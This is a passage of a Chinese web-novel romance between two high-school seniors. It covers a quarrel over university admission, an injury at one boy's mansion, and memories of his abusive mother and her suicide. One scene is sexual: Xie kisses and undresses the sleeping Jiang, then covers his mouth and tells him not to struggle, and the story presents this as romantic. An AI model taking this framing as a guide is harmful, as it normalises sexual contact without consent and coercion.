他头发微湿,深邃的眼眸带着水汽,漆黑双眸看向江逸,“我漱口杯哪去了?” 江逸上下打量他两眼,脸一红,瞥开目光,没好气地说:“在浴室柜里面。” 谢逾白哀怨地看了他一眼,“你怎么不看我?” “你要点脸行吗?你来我家,赤.身裸.体的还要我看你?” 谢逾白往前迈了一步,伸手拉住他的手腕:“以前你没少看。我是你男朋友,你看我不该是这种眼神。” 谢逾白的皮肤光滑,带着某种温热的气息,江逸感觉耳朵发热,四肢变得僵硬起来,“我应该是什么眼神?” 谢逾白的手卡住他的腰,凝视着他的眼睛,眉心微微蹙起:“应该是欣赏的,直白的。” “你不去洗澡?” 谢逾白狐疑地看着他,手上移掐住他的脖颈,指腹在他细腻的下颌处摩挲着,“晚上一起睡吗?” 江逸只感觉脑子嗡的一声,像是要往外冒烟,“明、明天上学。” 谢逾白偏着头,亲吻着江逸发红的耳朵,“只让你舒服,很快的。” “你这话什么意思?讽刺我?”江逸咬着下唇,满脸红晕地看着他。 谢逾白一怔,低低地笑了几声,“你知道我不是那个意思。” “不会说话,你能少说几句?赶紧滚去洗澡。”江逸不耐烦地一把推开他。 他匆匆回到卧室,心脏在胸腔里扑通扑通跳个不停,感觉自己的心脏病又犯了。 他蒙上被子,在床上滚了两圈,脑中挥之不去的是谢逾白赤.裸的上身,以及他暧昧的话语,谢逾白怎么越来越不要脸了? 月光温柔洒落,穿过纷纷扬扬的风雪,窗外白茫茫一片。 谢逾白轻手轻脚走到江逸床边,弯下腰,拎起椅子,在床前坐下,静静凝视着江逸的睡脸。 江逸脸颊在睡梦中透着淡淡的红晕,睫毛浓密且微微卷曲,整齐排列在眼睑上,随着均匀的呼吸,时不时颤动。他的嘴唇微微张开,色泽红润,正沉浸在美梦里。 谢逾白凑近,含住他的双唇,感受着江逸嘴唇的柔软温热,逐渐加大力度,将那两片唇瓣含得更紧。 江逸在睡梦中似有察觉,身体动了动。谢逾白以为他要醒,下意识想松开,心中眷恋难舍,又多停留了片刻。江逸含糊地呓语一声,并未醒来。 谢逾白舌尖探出,顺着江逸张开的唇探入,与江逸的舌头温柔触碰,开启一场静谧深情的交融。 江逸在睡意朦胧间,感觉有人在亲吻自己,压抑了两天的情感找到了出口。他紧闭双眼,伸出胳膊环住谢逾白的脖颈,迷迷糊糊地回应着这个亲吻。 江逸意识尚在朦胧,胸前有细微动静,谢逾白手指轻巧地一颗颗解开他睡衣的纽扣。 凉凉的吻依次落下,先是落在侧颈,引得江逸肌肤微微战栗。吻移到锁骨,谢逾白的唇在这片肌肤上辗转流连。 吻落至胸膛,撩拨得江逸难以自控,身体不自觉扭动。 谢逾白落在他身上的抚摸轻柔,从手臂到腰侧,不经意的触碰,意外点燃江逸内心热情,使他喘息急促。 江逸的肌肤在夜色里尤为动人,细腻质感散发着光泽。谢逾白看着,一股燥.热从心底涌起,迅速蔓延全身。他觉得差不多该停下了,要是把人弄醒,又该发脾气了。 他最后吻了吻江逸的唇,想要抽身离开。 他的胳膊被一把拽住,黑暗中,江逸不知何时睁开眼睛,一双琥珀色的眼睛水光剔透:“谢逾白,大半夜的,你又来这套?” “我去卫生间迷路了。” “我信你个鬼。” “我现在回去了。”他的手臂仍被江逸拽着,谢逾白目光从江逸泛红的眼尾移到被吻得鲜艳的唇,又落到他身上,抿唇一笑:“要吗?” “你这个卑鄙之徒。” “怎么能这么说我?”谢逾白笑着从后面抱住他,拉开他的被子,果然不出所料。他眯起眼睛,亲吻江逸耳后薄嫩的皮肤:“你就不能坦诚点?” “回你房间去!” “刚才是谁拽着我胳膊不让走,现在又是谁往我掌心里蹭?” 江逸刚要发火,嘴唇被谢逾白的虎口卡住,一点声音都发不出来。谢逾白声音带着胁迫:“夜深人静的,安静点。” 他咬了下江逸的耳朵:“你乖一点,别挣扎,万一把我惹出火了,一时半会儿结束不了。” 江逸嗓子发不出声音,脑袋靠在谢逾白颈窝,听着他胸腔里有力的心跳声,全身泛红。 他一会儿感觉被抛到高处,一会儿被浪潮淹没,全身剧烈颤抖起伏。 不知何时,谢逾白松开江逸的嘴唇,手在他身上游走,时而揉按,时而轻掐,一举一动皆精准把控,轻易主宰着江逸的感官。 江逸眼眸水润,直视着谢逾白。他眼中懊恼清晰可见,似乎在埋怨自己这般轻易陷入情网,眼中渴求毫不掩饰,急切地想要更多亲密接触,情欲满溢,双眼染上别样色泽。 谢逾白将江逸拥在臂弯,密集热烈地亲吻。他用力啃.咬江逸的嘴唇。 谢逾白紧贴着江逸,胸膛贴着江逸后背,体温交融。在他耳边低语:“江逸,现在回答我,你还躲吗?” 第47章 “你们在干什么?”…… 任老师指定的时间, 江逸抬手叩响了办公室的门。 任老师看见他,胖乎乎的手在空中挥动,“进来, 你知道老师叫你来所为何事吗?” 江逸摇了摇头。 任老师拿出几张A4纸,翻开,目光在纸张上搜寻,找到江逸的名字后,脸上浮现出笑容:“你这次学习进步相当显著,是咱班进步幅度最大的, 大榜排名第582。照这个势头发展下去, 考上公办本科稳稳当当的。” 任老师心里清楚江逸的家庭状况,若是去读民办本科, 经济压力不小。 江逸顺着表格逐行看去, 看到自己各个科目的成绩, 心中不禁泛起一丝失落。虽说相较于之前有了进步, 距离他心心念念的东大,差距依然悬殊。 “你只要持续脚踏实地地努力, 凭借你的体育特长, 你是国家二级运动员, 考上一所不错的大学不成问题。你有没有什么明确的目标?” “走一步看一步。以前没好好努力,现在也只能尽力弥补,亡羊补牢。” “你只要愿意努力,什么时候都不算晚。老师今天找你,除了告诉你学习进步的事,想和你聊聊谢逾白。我注意到你们最近走得挺近的。” 江逸收紧下颌,心里一沉,“我们关系一般, 您有什么事直接说吧。” 任老师目光炯炯地注视着他,“你跟老师说实话,谢逾白是不是谈恋爱了?” “没、没有吧。” “我没老糊涂,这次谢逾白又在大榜中考第一。”任老师翻开名次表的第一页,感慨道,“他是我从教十几年来,所见过的最优秀、最具天赋的学生,我实在不忍心看他误入歧途。” 江逸心里有些发虚,难道老师已经察觉到他们的关系了?“什么歧途?” “你看看大榜前二十的同学,其中18个已经获得了保送资格。大家各展身手,有保送的,有准备出国的。谢逾白手握物理竞赛全国金奖这个王牌,保送一流顶尖大学对他而言易如反掌。 副校长和我找他谈过好几次,他始终沉默不语,不肯提交保送材料。问他想去哪个城市,他不吭声;问他心仪哪所大学,他说没有;谈及专业,一副满不在乎的模样。” 江逸的心如同坠上了铅块,一点点往下沉。他一直逃避去思考将来,将来并不会因为他的回避就不存在。 “我思来想去,实在想不出别的缘由,除了他谈恋爱了,想和女朋友留在同一座城市。我联系过他姐姐和爸爸,他们也毫无办法。你作为他的朋友,能不能帮老师劝劝他?不能白白浪费他的资质,不能让他意气用事,导致明珠蒙尘。” “江逸,你在社会上闯荡过,明白社会的现实。谢逾白无论多么才华横溢,一旦踏入社会,学历就是他的首张名片。本是他轻易就能获取的优势,绝不能让它成为日后的劣势。” 任老师这人,教学水平虽说不算顶尖,为人处世极为真诚,江逸真切地感受到他是真心实意地为学生考虑。 谢逾白为什么不申请保送学校呢?他究竟在等什么?这个呼之欲出的答案,在江逸心里掀起一阵惊涛骇浪。 江逸向来不是个能藏住事的人,回到班级,看到谢逾白正坐在座位上,他拍了拍谢逾白的胳膊,“跟我出去一趟。” 江逸转头对陈最说:“帮我和谢逾白跟英语老师请个假,班主任找我们有点事。” “放心吧。” 一路上,江逸脸色阴沉。谢逾白跟在他身旁,偶尔抬头看他一眼,“中午我们一起去吃饭?吃完饭我帮你梳理英语的词性转化。” 江逸带着谢逾白来到一处监控死角,这里唯有从体育馆才能进入。 江逸背靠墙壁,目光如刃般射向谢逾白,“我问你答,副校长和任老师找你谈过了,你为什么不提交保送资料?” 谢逾白的眼神一顿,“你知道了?” “为什么?谢逾白,别人梦寐以求的机会,你到底在犹豫什么?” “我没考虑好。” “你少跟我兜圈子,说实话,你迟迟不提交申请,是不是因为我?” 谢逾白有一瞬间的失神,抿紧嘴唇,沉默不语。 “你能不能别这么傻?现在什么时候了?大家拼了命地冲刺好学校,你在这儿磨磨蹭蹭、犹犹豫豫的,到底想干什么?” 谢逾白深深地叹了口气,“我不可能跟你异地。” 江逸十分苦恼,“我去不了好学校,甚至好一点的城市也去不了,我没有选择的余地。你不一样,谢逾白,你要把我逼疯吗?不过是谈个恋爱,值得你做出这么大的牺牲?我知道你什么都不缺,体会不到别人在困境中苦苦挣扎的滋味。我绝不允许,你如此随意地对待自己的未来。” 谢逾白不为所动:“我在追寻我认为至关重要的东西,我心意已决,不会改变。我们别为了这些事争吵,好吗?” “你到底为什么不能接受异地?不信任我?我无法容忍你为了我做出这样的让步。你能不能成熟一点?哪有人为了谈了几个月的恋爱,把自己的未来当儿戏?” 谢逾白的声音低沉下来:“你应该清楚,你在我心里的分量,远远不止这几个月。你还要这么说吗?你从来没考虑过我们的未来?” “考虑又怎样?真心想在一起,自然会在一起。不想在一起,就算天天腻在一起,爱得死去活来又有什么意义?我懒得跟你废话,谢逾白,我现在给你两个选择。第一,回到你应该的位置,申请与你能力相符的大学和专业。第二,我们现在就玩完。” 江逸的脸色极其难看,显然并非在开玩笑。 谢逾白心脏一阵刺痛,“‘玩完’这种话,能这么轻易说出口?因为你没那么喜欢我,我不会说这种话,无论遇到什么事。” “我早就跟你说过我不是深情的人,你别对我抱有太多期望。” 谢逾白的眼神变得分外恐怖,“你在逼我。” “我在做正确的事。” “什么是正确的事?你有没有考虑过我的需求?跟你在一起就是我认为正确的事,你为什么要在乎那些外在的东西?只关注我不行?” 江逸表情无奈,“我们生活在现实世界,谢逾白。我期望看到的,是你光芒万丈、备受瞩目的样子,在升旗台上的样子。而不是为了我放弃大好前途,甘愿变得平庸。”如果真的那样,他会厌恶如此无能的自己。 江逸率先离开,心中悲哀。他自诩洒脱,从未这般沮丧过。以往他一个人,堕落也好,差劲也罢,能坦然面对。 如今,两个人的生活逐渐影响着他,他感觉自己正在一点点失去自我。 江逸无比唾弃这样的自己。为什么自己深陷困境,要连累谢逾白为了自己,生出如此不理智的念头?简直可笑又可悲。 距离上次吵架过去三天了,江逸看着斜前方空荡荡的桌面若有所思。学习好就可以这么任性?谢逾白整整消失了三天半。 任老师对江逸招手,班主任找他准没有好事。 任老师的一双小眼睛看着谢逾白的座位,“江逸,你知道谢逾白去哪了吗?” “老师,我不是他家保姆,我哪能了解那么详细?” “三天前给我发了条短信,请半天假,接下来每天发短信请假。他会不会跟女朋友私奔了?” “您看什么了?哪有那么离谱?”江逸没见过这么任性的人,动不动就旷课。 “他会不会又犯病了?”任老师越想越担心,给江逸转了200块,“你打车去他家看看,发生什么事了?我给他打电话他没接,我心里没底。” 副校长重点栽培谢逾白,只剩下半年了,要是出了什么差错,可不得了。 看着老师焦急的模样,江逸不忍心拒绝,毕竟这件事因他而起,“老师,让陈最跟林飞羽跟我一起去,人多力量大。” “行,你们三个最后两节课跟晚自习请假,落下的卷子跟别人对一下答案。” 江逸回到座位,不知道怎么处理这件事,他身边的人没有一个跟他生过闷气,小时候跟宋越闹不愉快,直接打一架。 周靖泽脾气好极了,两人几乎没红过脸。 只有谢逾白,认识到现在,真够刺激的。 三人打车,看着计费器打出了80块钱,林飞羽惊呆了,“你们确定谢逾白家里在市内吗?这么远。” 司机呵呵笑道:“你们是学生吧,这一片全是别墅,占地面积大。” 陈最打谢逾白的电话没人接听,他们在门口徘徊,江逸琢磨要不要给李叔打电话。 门口的斜坡马路上,一辆宾利停了下来,车窗里伸出个脑袋,傅现看着他们几个,“你们怎么来这儿了?” 江逸喜出望外,“你怎么来这儿了?” “我请假回家了,在学校好无聊。” 陈最回答:“我们去找谢总,他手机打不通。” “谢狗的手机,没人打通过,他从来不看手机,我给他打电话发消息一律被过滤掉。” “是吗。”江逸心里纳闷,他每次打基本都可以打通,除非是吵架以后。 “上车,我带你们进去,你们走进去他家需要一个小时,到时候天都黑了。我给刘管家打个电话。” 几人上了车,林飞羽夸赞,“这车真豪华,没看出来,傅现,你也是个富二代。” 傅现跟谢逾白不同,他平时穿衣打扮较为普通,不像谢逾白直接把我很有钱四个字写在脸上。 “一般。”傅现从后视镜里面看着江逸,“今天刚好遇见你,省得我特意去找你。年后东大有一次自主招生面试。一会儿我跟你说一下情况。” “真的吗?太好了,谢了。” 林飞羽全程嘴巴没闭上,“从大门进来,里面全是谢逾白家吗?” 傅现笑了笑,“他家是名副其实的豪宅,二十年前,房子估值八亿,现在更高。” 几人下了车,走在喷泉附近。 “我天,贫富差距气死人。更可恨的是你们这些狗,脑子还好用。” 傅现撇撇嘴,“那又怎么样?我有钱有颜又有才华,还不是一样失恋。” 林飞羽惊呼:“你也失恋了?” “刚被甩,为什么说也?” 林飞羽没电了,不说话。 江逸笑道:“他刚刚失恋了。” 林飞羽跳过来捂江逸的嘴,“逸哥,给我留点面子,别到处给我往外说。” 江逸眼看要被他撞到了,地上残留着昨天下过的雪,傅现伸胳膊稳住江逸的身形,让他靠在自己肩膀,“林飞羽,你慢点,别闹了。” 林飞羽绊倒在江逸脚上,整个人向他压了过来,江逸身体失去平衡,三人一起摔倒了,叠起了罗汉。 江逸被摔得七荤八素的,脚踝跟肋骨一阵阵疼痛袭来。 他上面下面全有人,被摔成了肉垫子。 一个沉冷的声音从不远处传来,“你们在干什么?” 江逸从地上偏头看过去,谢逾白穿着一身白色运动装,脸上汗津津的,刚运动回来,漆黑的眼眸落在他们身上,眉峰拧着。 第48章 以为我会吻你? 江逸坐在地上, 听到声响后,转头望去。 只见谢逾白迈着大步匆匆赶来,脸上挂着汗珠, 神色焦急。 到了近前,谢逾白将林飞羽拽起,浓烈关切的眼神看向江逸,“你怎么样?撞到哪里了?能动吗?” 江逸被他这般紧张的眼神惊了一下,“没什么大碍,可以动。” “逸哥, 手给我, 我拽你起来。”林飞羽边说边伸手。 谢逾白直接蹲下身子,用手稳稳托住江逸, 将人打横抱了起来。 林飞羽站在他们身前, “谢、谢逾白, 我来抱他。” 谢逾白眼皮微微一抬, 语气不善:“你知道卧室在哪?” 林飞羽顿时被噎得说不出话。 “让开。”谢逾白的语气冷淡,江逸拍了下他的胳膊, 示意他收敛些, 对林飞羽露出笑容, “我没事,你别紧张。打篮球磕磕绊绊很常见。” 一路上,谢逾白下颌线条紧绷,嘴角向下耷拉着,情绪不佳。他抱着江逸穿过大堂,走向电梯。 江逸见状,有些慌张地问:“你带我去哪?” “卧室。” “你房间?不行,太奇怪了。”江逸紧紧揪住谢逾白的运动服衣襟, “楼下我记得有个卧室,我不上楼。” 谢逾白低头看了他一眼,“随你。” 林飞羽等人围了过来。江逸心里有些发慌,倒不是因为自己的伤势严重,而是摸不透谢逾白接下来会有什么举动。 谢逾白拿着药箱回来,自然而然地半跪在地上,伸手握住江逸的脚。 江逸后颈的汗毛竖了起来,他对这个动作记忆犹新,上次脚受伤,是谢逾白给他上的药。 现在这么多人看着,他们会不会觉得异样? 他下意识地想要缩回脚,传来一阵钝痛。 “别动,你脚受伤了,不知道?”谢逾白警告地看了他一眼。 江逸极力不去在意周围人的目光,硬着头皮看着谢逾白脱掉自己的鞋和袜子,脚踝处微微泛红,有点肿。 林飞羽带着哭腔夸张大喊:“逸哥,是我对不起你。你放心。你要是瘸了我负责,照顾你一辈子。” 谢逾白上药的动作猛地一顿,眼尾扫过来,冷冷地盯着江逸。 江逸心里“咯噔”一下,林飞羽胡说八道的,你看我做什么。他清了清嗓子,“儿子,别瞎说了。” 谢逾白转头招呼其他人去客厅打游戏、喝果汁。 等人都走后,谢逾白关上卧室门。江逸顿时紧张起来,“你关门做什么?” “你紧张什么?我还能强了你?”谢逾白的话呛人。 江逸被噎得脸通红,“有外人在,你说话注意点。” “你跟他们打闹摔在一起,你注意了吗?” “你别像来了大姨妈似的,行不行?这种事发生很正常。” 谢逾白脸色变了,一直压抑的怒气爆发,“正常?你脚腕第二次受伤了,恶化了怎么办?看到你摔倒我心里什么感受?我已经躲回家了,你来我眼皮子底下,故意让我不痛快,是不是?” 江逸愣了愣,心里有些不是滋味,“班主任不放心你,让我们过来看看。我现在叫他们,我们马上走。” 谢逾白声音颤抖:“班主任不放心我,那你呢?你对我就一点感觉没有吗?你说玩完,说结束,如果不是老师要求,你打算对我不闻不问多久?” “谢逾白,你是成年人,要对自己负责,我相信你有能力照顾好自己。我们之间的问题不解决,我不会做让你误解的事。” “你铁了心了?” “原则问题,无法让步。” “江逸,你现在受伤了,你想想,半年以后,我们异地,你受伤生病,我没办法在你身边,甚至看你一眼都做不到,你能明白我什么心情吗?”谢逾白的声音有些失控。 “这么多年我一个人过来的,生病受伤忍一忍就过去了,你相信我能自己处理。一会儿你注意点,别在他们面前表现得太明显。” 谢逾白面色冷淡:“你在给自己留后路,是不是?” 江逸无奈地扶了扶额头,跟情绪这么激动的人争辩有什么用,“你情绪不好,我懒得跟你说。” 谢逾白突然说:“脱衣服,你自己脱,还是我动手?” “你说什么?” “我检查一下,你身上有没有伤?” 江逸震惊地看着谢逾白,“我自己哪里有伤我清楚,不用你检查。” “哪里?掀开衣服,我看看。”谢逾白见他一脸戒备,不禁笑了,“你这么戒备做什么?你身上哪里我没看过?” “能一样吗?外面有我朋友。而且我们现在的关系……” 江逸穿的是一件黑色柔软针织衫,谢逾白轻易撩起,眼神快速扫过,看到右边肋骨处青了一块,他眉头紧紧皱起,拿起喷剂喷了两下。 江逸的皮肤暴露在空气中,感觉有点冷,谢逾白炽热的目光落在他身上,让他浑身不自在,“结束了吗?我冷。” “等药水干。” 我去。江逸后悔了,他真不该来,应对这种情况好麻烦。 谢逾白目光毫不避讳地看着江逸的身体,江逸皮肤白皙,没有瑕疵。两点颜色娇嫩,腰肢细窄,有一层薄薄的肌肉,肌肉线条流畅漂亮。他的腰抱在怀里,肌肤触感绝佳。 江逸看着他出神的脸,忍不住问,“药水干了吗?” “嗯。”谢逾白放下他的针织衫,两人之间气氛有些怪异。 “你明天去上学吗?” “看心情。” “你要是觉得我碍眼,我会尽量少打扰你,你要去上学,任老师担心你。哪有学生像你这么随心所欲的?” 谢逾白冷冷一笑,挑起眉梢,“你管我?” “当然不是管你,只是建议。” “今晚你留下,你脚不舒服。住这间房。我在楼上,互不干扰。” 江逸摇头,“我留下不合适。我跟他们一起回去。这次脚伤比上次轻多了。” 谢逾白面色如冰:“你至于避嫌到这种程度吗,我能把你怎样?你怕别人说闲话?” “你小点声,嚷嚷什么。” “你家住四楼,你怎么上去?” “林飞羽会扶我。” 谢逾白眉宇间满是怒色,身体前倾,紧紧锁住江逸的眼眸,“你非要这么折磨我?” 江逸眼神细细描绘着他的脸部轮廓,谢逾白眉宇轻蹙,有淡淡的郁色。 “我能照顾好自己,异地什么的,没问题。”江逸越说声音越小。 谢逾白的眼瞳笼上了一层薄霜,“恋不恋爱对你来说可有可无,异地也无所谓,江逸,我对你就这么不重要,你为什么跟我谈?开始恋爱随意,结束也能轻松说出口。” 江逸无力地低下头,“我在你心里是这样的?随便开始,随意结束?恋爱也行,不恋爱也无所谓?” 他眼瞳清澈水润,静静地看着谢逾白,“你有没有想过,我的无所谓是分人的,为什么只对你这么宽容?” 谢逾白身体一下子僵住。 “我要是真那么随便,现在早该谈过好几个,分过好几个了。为什么只跟你开始,只跟你结束?很抱歉我没有你那种认定一人一辈子的坚定,我习惯走一步看一步,未来对我来说是未知的,我没法下定论。” 实际上,正因为未来充满未知,江逸才觉得人生值得探索。 “你现在想跟我结束吗?”谢逾白神情哀伤地看着他。 “如果我想结束,何必给你选择,直接结束就好了,在这方面我没什么道德负担。” 谢逾白紧紧盯着江逸,目光好似要将他看穿,“你真不是个东西。” 江逸淡淡一笑:“嗯,渣男就是我。” 笑容在他脸上漾开,有种散淡又莫名妩媚的意味,在谢逾白眼中,这笑容无比刺眼。 谢逾白手撑着床,身体前倾形成一个包围圈,将江逸笼罩在内,他抚摸江逸的侧脸,指腹的触感滑软。 谢逾白深黑的眼瞳脉脉深情,“江逸,四年时间我留在你身边不好吗?我不缺钱,除了你什么也不想要。让我照顾你,陪伴你,别推开我,不要为难我,好不好?” 他的脸渐渐靠近,眼神胶着,呼吸黏在江逸红润的唇上。 江逸心脏跳得剧烈,浅色调的瞳孔慌慌张张地闭上了,一排微卷的睫毛尖端微颤。 一时间,旖旎的气氛在四周蔓延开来,空气变得稀薄,让人有些喘不过气。 片刻之后,江逸睁开眼瞳。谢逾白微弯着脊背,伸手把江逸里侧之前留下的药膏取走。他勾动薄唇,“你刚刚那副模样,以为我会吻你?” 江逸的双唇下意识地抿了一下,眼瞳微微睁大:“当、然没有。” 第49章 不要辜负青春 晚上, 江逸没能如自己所愿离开。不只是他,除了傅现之外,林飞羽和陈最也都留了下来。 外面先是噼里啪啦地落下冰雹, 紧接着,大片大片的雪花如鹅毛般纷纷扬扬飘落。 出于安全考量,刘管家劝说大家留下,江逸腿脚本就不方便,没再坚持。 谢逾白给三人安排卧室,他抱起江逸往楼上走去。江逸满心疑惑, 不明白谢逾白为何总是这样抱来抱去, 不觉得麻烦吗? 来到三楼,江逸明白了缘由。房间里摆放着一位女人的照片, 她并非传统意义上那种艳丽的漂亮, 眸色黑亮, 身材偏瘦。 江逸有种说不出的感觉, 在某个角度看,谢逾白的下巴和她颇为相似。 这里是谢逾白妈妈的房间。屋内十分整洁, 还散发着淡淡的清香。江逸看到梳妆台上摆放着两瓶香水, 木梳、镜子等物品依次陈列。 房间宽敞, 有沙发,还有一个大大的书架,上面摆满了各种类型的书籍,法律类的专业书籍最多。 江逸瞧见书架上有本装裱精美的相册,问谢逾白:“我能看看吗?” “不可以。”谢逾白说着,把相册放到了一个更隐蔽的位置。 江逸:“……”这家伙也太小气了。 “你睡吧,我下楼了。”谢逾白抬腿往外走。 “等一下。”江逸环顾着周围陌生又透着温馨的环境,莫名感到脊椎骨一阵发麻。他记得谢雪姚跟他提过, 谢逾白的妈妈在房间里吞药离世的。 江逸向来不敢看鬼片和惊悚片,谢逾白特意把他安排在这个房间,说明对他与别人不同。 江逸不好意思直接说害怕,编了个理由:“我渴了,还有点饿。” 谢逾白看他一眼,“晚饭的时候,你吃得不少,和林飞羽喝了一瓶红酒。” “喝了酒,所以口干。”江逸觉得自己这套说辞很完美,能自圆其说。 “我吩咐人给你送吃的喝的。” 江逸看了看墙上的挂钟,“十点了。别人估计休息了,你去弄吧。” “知道了。”谢逾白准备出去。 “把我带着。” “你也去?” “你哪知道我想吃什么?我得去指点你做。你能不能背我下去?总被你抱着,感觉好奇怪。”毕竟他一米八多的个子,被人抱着实在有些别扭。 谢逾白没听见他说话似的,直接把人抱起来,“你没有选择。” 进了厨房,谢逾白问:“你想吃什么?” “手擀面。” 谢逾白睨他一眼,“你觉得我能做这么复杂的?” “所以我下来指导你。”江逸微笑着看向他,“你会自己烤蛋糕,不会擀面条?” 谢逾白神色微变,“你怎么知道? “吃出来的。谁家蛋糕能烤成那样,要是开店,老板得赔得裤子都穿不上。” 谢逾白有些气恼,转身就要走。 江逸赶忙笑眯眯地拉住他的胳膊,“不逗你了,行不行?你吃过我给你擀的面条,记得不?” 谢逾白当然记得。他去参加物理竞赛初试的那天早晨,江逸为了让他顺顺利利,大清早起来亲手给他擀面条。“你要吃那种?” “对啊。” “你说我做。” “你最好穿件围裙。”江逸看着谢逾白身上穿的黑色卫衣,那上面的logo表明价格不菲。 谢逾白眼中闪过一丝异样的光,眼神有些古怪,“你想都别想。” 江逸忍不住笑出声,“我担心你衣服弄脏了,你想到哪儿去了?谢逾白,你这人看着一本正经,脑子里想法是不是太多了?” 谢逾白闷声不答,懒得理会他。和面的过程着实不顺利。谢逾白一双手打架是把好手,和面的动作笨拙得很。 “你手指并拢。哎呀,水少倒点。” “太稀了,加点面。” “面又干了,再加点水,这次少加点水。” 本来只想做一碗面条,结果一会儿加水,一会儿加面,最后做出了满满两碗。 江逸松了口气,“你开始煎鸡蛋,煮面条吧。” 谢逾白光洁的额头上沁出了汗珠,“不能就这么吃吗?” “你给我演示一下光吃面的吃法看看。” 谢逾白按照要求煮好汤,开始煎鸡蛋。他没什么做菜的经验。江逸提醒他:“你小心点,煎蛋容易烫伤。” 在谢逾白分心听他说话的,手背突然疼了几处,手里的铲子也掉到了地上。 他手背皮肤刺痛,像被火烧一样。 江逸迅速起身,脚踝传来一阵疼痛,他先关了火,然后一瘸一拐地走到谢逾白身边,用力抓住他的手背,打开水龙头,让水流不断冲刷着伤口。 谢逾白侧头看着江逸的侧脸,眉峰微微拧紧,琥珀色的瞳孔中罕见地流露出紧张之色,江逸唇珠红润嘟起,细白的手指紧紧抓着他的手。 不知因为内心悸动,还是江逸用力过大,谢逾白整只手发麻。 水流冲了足有三分钟,江逸把他的手背拿到眼前仔细查看,手背上有三处发红,好在处理及时,不然肯定会起水泡。 江逸松了口气,“大少爷,煎个鸡蛋还能搞成这样。一边歇着去吧。” 江逸动作熟练地煎好了鸡蛋。 谢逾白坐在餐桌前,似乎在沉思着什么。 “一起吃点?你在想什么呢?” 谢逾白眼神有些飘忽,像是陷入了某种回忆,“她在的时候,每天早晨会给我做两个煎蛋,要求我必须喝一杯500ml的牛奶。” 她?显然指的是他妈妈。 江逸不经意地问:“她是个什么样的人?”他原以为谢逾白会用温柔、严厉之类的词形容。 “她是个神经质的人。”谢逾白面色平静,“谢雪姚告诉我,她生了我以后才变成这样的。小学的时候我经常挨打,她下手毫不留情,我身上经常青一块紫一块的。” 江逸心中一动,“我以为你很听话,不会挨打的。”在江逸印象里,谢逾白一直是循规蹈矩的,举止优雅,说话斯文。 谢逾白淡淡地笑了,“是被打出来的听话。稍有让她不顺眼的地方,就会换来一顿教训,甚至会打得红了眼。打过之后,看到我身上的伤痕,她又会哭着跟我道歉。” “你疼吗?”江逸抚上谢逾白的手背,动作轻柔,像是在安抚一只受伤的小动物。 “小时候挨打觉得挺疼的,心里害怕。等到上了初中,或许是习惯了,没那么疼了。她给我买了好多好多书,每天逼我读,直到现在,那些书我还没读完。可以说,她把所有的心思都放在我一个人身上了。” 谢逾白此刻回想起来,妈妈过往的生活仿佛被阴霾笼罩,充满了绝望。 “你成绩这么优异,她肯定特别为你骄傲吧。” “四年级期末考试,我考了299分,语文有一个错别字,回家挨揍了。”谢逾白清楚地记得,当时妈妈抽了他三个耳光。 妈妈愤怒地嘶吼:“我考过你两次了,你为什么还错!”那声嘶力竭的喊叫,让谢逾白觉得自己犯下了不可饶恕的大错。 妈妈不喜欢他交朋友,他就不跟人交往,妈妈不喜欢他玩耍,他就乖乖听话。他如此顺从,妈妈却越来越不开心,常常打完他后,自己哭得声嘶力竭。 谢逾白看着妈妈失控的泪水,只能默默无言。他尝试过道歉,非常努力地去改正自己的行为,一切无济于事。 “你成绩这么好,是你妈妈从小管出来的?” “我不太清楚,小学一年级开始,我开始学奥数跟初高中数学,六年级毕业的时候,我自学完高中数学。整个初中没怎么学。” 江逸记得刚进高中的时候,谢逾白就是全校大榜第一,“你初中没怎么学,中考一中第一,全市也是第一。” 谢逾白毫不在意地说,“你想想我小学读了几万本英语书,中文书,数理化全学过了。我记性不错,有什么理由考不好?” 江逸由衷佩服,“你本身智商高,小学开发智力早,多种因素吧。主要是天赋加努力。” “还有基因,他们两人是政法大学的同学。” “你怨恨她吗?” 谢逾白摇了摇头,声音凄凉:“我恨我自己,如果不是因为我,她不会生病。” 江逸紧紧握住他的手,“她生病的原因是多方面的,不能全怪你一个人。” “我是根本原因。”谢逾白表情平淡。 “你想念她吗?” “有一点。她照顾我特别细心,会陪我一起写读书笔记,一日三餐都会按时按点给我准备好。我每周有十二节课外班,她亲自接送我。可能责之深爱之切吧。” 小时候的他无法理解妈妈的行为,直到妈妈离开后,他才真正体会到那种天崩地裂的感觉。一直为他遮风挡雨的人,规划好一切的人不在了。 或许妈妈的教育方式有些极端,这世上再也不会有第二个人,像妈妈那样全心全意地在乎他了。 江逸浅色的眼眸里满是温柔,“父母之爱子,为其计深远,她是爱你的,她那么在乎你,在另一个世界一定思念着你。谢逾白,为了让她安心,你要好好生活。” 谢逾白眼神迷茫,目光空洞,“我没有目标,感觉自己像个没有灵魂的人。你们有自己的目标,知道自己想做什么,想去哪所大学。可我没有。” 一直以来,他只是在一味地满足妈妈的要求,从未思考过自己真正想要的是什么。 妈妈走了,他活不下去了,没有动力了。绝望的时候,他遇到了江逸,该是多么绝望,随便遇到了一根稻草,抓住了。 他去了一中,高分考上的,他去找的校长,要求跟江逸一班。 从此,他的目标是江逸,看他笑,陪他渡过每一天。当然这些话,他不会说出口。 江逸的手顺着他的手臂抚摸,“你好好想想,你有想做的事吗?” 谢逾白垂下眼眸,漆长的眼睫遮住眼底的情绪,“我想跟你在一起。” 江逸被他的话电了一下,心脏酥麻,他稳定心神,“还有吗?” 谢逾白摇头。 “如果你妈妈健在,你能想到她对你的期许吗?她想让你做什么?” 谢逾白想到了,“她提过,想让我接管她的公司。你知道的,我家有八家律师事务所,本市的是最先开的,我妈妈的身份证注册的,她是一名优秀的律师。当年她的履历比那个人还要好。” 那个人?谢逾白的爸爸。 “你愿意吗?当律师。如果你不愿意,现在没人逼你。每个人都要选择自己喜爱的行业,毕竟人生很漫长,工作占的时间很久。” 谢逾白眼神开始聚焦,有了神采,“我可以试试。” “你为什么愿意试试?” “够复杂,我不太喜欢做简单的事。” 江逸脸上浮现笑容,“我们的大学霸,将来就是鼎鼎有名的大律师了,想想就牛逼。” “你认为很好?我做律师。” 江逸璀璨一笑,琥珀色的眼眸瑰丽,“当然了,头脑好的人才能做律师。你到时候一定很帅。谢逾白,去法学最好的学校吧,不要辜负青春,不要埋没才华。” 第50章 大半夜勾引我 江逸神采飞扬, 兴奋地说,“谢逾白,你的成绩可以去政法大学吗?” “我不知道。” “有什么不知道的?你成绩京大也够了, 怎么不能去政法大学?” “政法大学主要招收文科生。” “啊?”江逸感到不可思议,“你家开律师事务所的,你学什么理科?” 